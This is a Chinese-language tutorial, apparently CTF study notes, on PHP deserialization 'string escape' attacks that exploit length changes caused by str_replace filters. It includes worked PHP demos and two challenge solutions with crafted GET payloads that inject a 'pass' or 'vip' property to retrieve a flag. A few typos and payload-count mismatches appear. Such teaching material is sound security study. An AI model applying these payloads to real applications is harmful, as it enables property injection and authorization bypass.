目录
1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
一、字符串逃逸基础
1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
2、特性
-
成员属性数量
成员属性数量需要与实际的成员属性数量对应
现象1
<?php
class A{
var $v1 = 'a'; //预定义里只有一个成员属性
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}'; //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false) //报错
<?php
class A{
var $v1 = 'a'; //预定义里只有一个成员属性
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}'; //属性数量为2
var_dump(unserialize($b));
--------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
object(A)#1 (2) {
["v1"]=>
string(1) "a"
["v2"]=>
string(3) "ben"
}
现象2
<?php
class A{
var $v1 = 'a';
var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));
---------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
["v1"]=>
string(1) "a" //由反序列化获取,改反序列化里的值改变
["v2"]=>
string(3) "lin" //由A中对应的值获取,直接改v2的值改变
["v3"]=>
string(3) "ben" //由反序列化获取,改反序列化里的值改变
}
-
字符串长度
成员属性字符串的长度必须与实际长度一致
O:1:"A":1:{s:2:"v1";s:3:"a"b";}
"是字符还是格式符号由字符串长度3来判断
-
;}是反序列化结束符
注意:;}前面不能出问题,;}第一次出现的位置结束(第一次出现;}如果在""里则算字符串)
<?php
class A{
var $v1 = 'a';
var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}s:2:"gg";N;}';
var_dump(unserialize($b));
-------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
["v1"]=>
string(1) "a"
["v2"]=>
string(3) "lin"
["v3"]=>
string(3) "ben"
}
;}后加的s:2:"gg";N;}功能性字符串并不影响;}前面的输出
3、str_replace()
用法:用于在字符串中替换指定的内容
语法:
str_replace($search, $replace, $subject, $count);
参数说明:
-
$search:要被替换的字符串或字符串数组;
-
$replace:用于替换的字符串或字符串数组;
- $subject:需要进行替换操作的字符串或字符串数组;
- $count(可选):用于储存替换的次数。
二、字符串逃逸
一般再数据先进行一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸
1、字符串逃逸——减少(有点绕比较难理解需要多思考)
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性
<?php
class A{
public $v1 = "abcsystem()";
public $v2 = "123";
}
$data = serialize(new A()); //O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data); //str_replace把system()替换为"空"
echo $data; //O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
var_dump(unserialize($data)); //bool(false)
-----------------------------------------
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
bool(false)
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11;
令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";}
如此我们可以让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串
思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v3的逃逸
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}
假设?=两位数(通常情况下是两位数)
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:"长度为20,所以前面最少要吃掉3个system()O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}
abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,
所以后面还要再补上7个字符,故:
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
故v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}
赋值后再次运行
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";N;}';
}
$data = serialize(new A()); //O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
$data = str_replace("system()","",$data);
echo $data; //O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
var_dump(unserialize($data));
------------------------------------------------
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:21:"1234567"
["v2"]=>
string(21) "1234567";s:2:"v3";N;}"
["v3"]=>
NULL
}
属性v3逃逸出来了
2、字符串逃逸——增多
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A()); //O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data); //ste_replace把'ls'替换为'pwd'
echo $data; //O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data)); //bool(false)
--------------------------------------
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
bool(false)
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
字符串增多末尾的d被挤出
思路:把吐出来的字符构造成功能性代码
O:1:"A":2:{s:2:"v1";s:xx:"pwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
";s:2:"v3";s:3:"666";}的长度为22,;}可以结束反序列化所以后面的原功能性代码";s:2:"v2";s:3:"123";}可以不用管
一个ls转成pwd多一个字符,所以要转成";s:2:"v3";s:3:"666";}需要22个ls转成pwd
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}成为一串字符串长度为66
故将v1赋值为lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
赋值后再次运行
<?php
class A{
public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}';
public $v2 = '123';
}
$data = serialize(new A()); //O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo $data; //O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));
--------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
object(A)#1 (3) {
["v1"]=>
string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
["v2"]=>
string(3) "123"
["v3"]=>
string(3) "666"
}
属性v3逃逸出来了
3、例题
-
例题1——增多
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param)); // //对¶m的值user进行安全性检查
if ($profile->pass=='escaping'){ //目标
echo file_get_contents("flag.php");
}
?>
目标:判断pass=='escaping'
分析题目:
1、filter()将flag或者php替换为hack,由于flag长度与hack一致,php与hack长度有变化故这题是用hack替换php的字符增多逃逸;序列化触发__construct()调用$user,user的值是可控的
2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hack",$name);
// return $name;
//}
class test{
var $user='php';
var $pass='escaping';
// function __construct($user){
// $this->user=$user;
// }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));
//if ($profile->pass=='escaping'){ //目标
// echo file_get_contents("flag.php");
//}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}
得到需要构造的字符串是";s:4:"pass";s:8:"escaping";},长度为29
3、一个php被替换会吐出一个字符故需要给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hack",$name);
// return $name;
//}
class test{
var $user= 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
var $pass='escaping';
// function __construct($user){
// $this->user=$user;
// }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));
//if ($profile->pass=='escaping'){ //目标
// echo file_get_contents("flag.php");
//}
$a=serialize(new test());
$a=str_replace("php","hack",$a);
echo $a;
?>
-----------------------------------------------
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
4、发现替换成功后将赋的值带回题目
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}查看源代码得到flag
-
例题2——减少
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ; //目标
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param)); //对¶m的值user进行安全性检查
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
目标:$vip=ture
分析题目:
1、filter()将flag或者php替换为hk,由于flag和php长度都与hk有差所以都可以选择我们这里一样选择php作为被替换的字符,这题是字符减少的字符逃逸;序列化触发__construct()调用$user,user的值是可控的
2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hk",$name);
// return $name;
//}
class test{
var $user = 'php';
var $pass = 'lin';
var $vip = true ;
// function __construct($user,$pass){
// $this->user=$user;
// $this->pass=$pass;
// }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
// echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:3:"lin";s:3:"vip";b:1;}
得到需要构造的关键代码是";s:3:"vip";b:1;}
3、给pass赋值为";s:3:"vip";b:1;}
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hk",$name);
// return $name;
//}
class test{
var $user = 'php';
var $pass = '";s:3:"vip";b:1;}';
var $vip = true;
// function __construct($user,$pass){
// $this->user=$user;
// $this->pass=$pass;
// }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
// echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
-------------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
4、一个php被替换为hk后面的代码就会有一个字符被包含(吃掉),需要被吃掉的";s:4:"pass";s:17:"长度为19,给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hk",$name);
// return $name;
//}
class test{
var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
var $pass = '";s:3:"vip";b:1;}';
var $vip = true;
// function __construct($user,$pass){
// $this->user=$user;
// $this->pass=$pass;
// }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
// echo file_get_contents("flag.php");
}
$a = serialize(new test()); //O:4:"test":3:{s:4:"user";s:57:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
$a = str_replace("php","hk",$a);
echo $a; //O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
?>
-----------------------------------------------------------------------------------
O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
5、发现替换成功后将赋的值带回题目
?user=
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=";s:3:"vip";b:1;}
查看源代码得到flag(由于靶场有点问题就不做演示)
总结:
字符增多逃逸:第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性
字符减少逃逸:第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性
做题顺序:
1、找目标;
2、构造所需的有效代码;
3、将构造出的有效代码作为值赋值给属性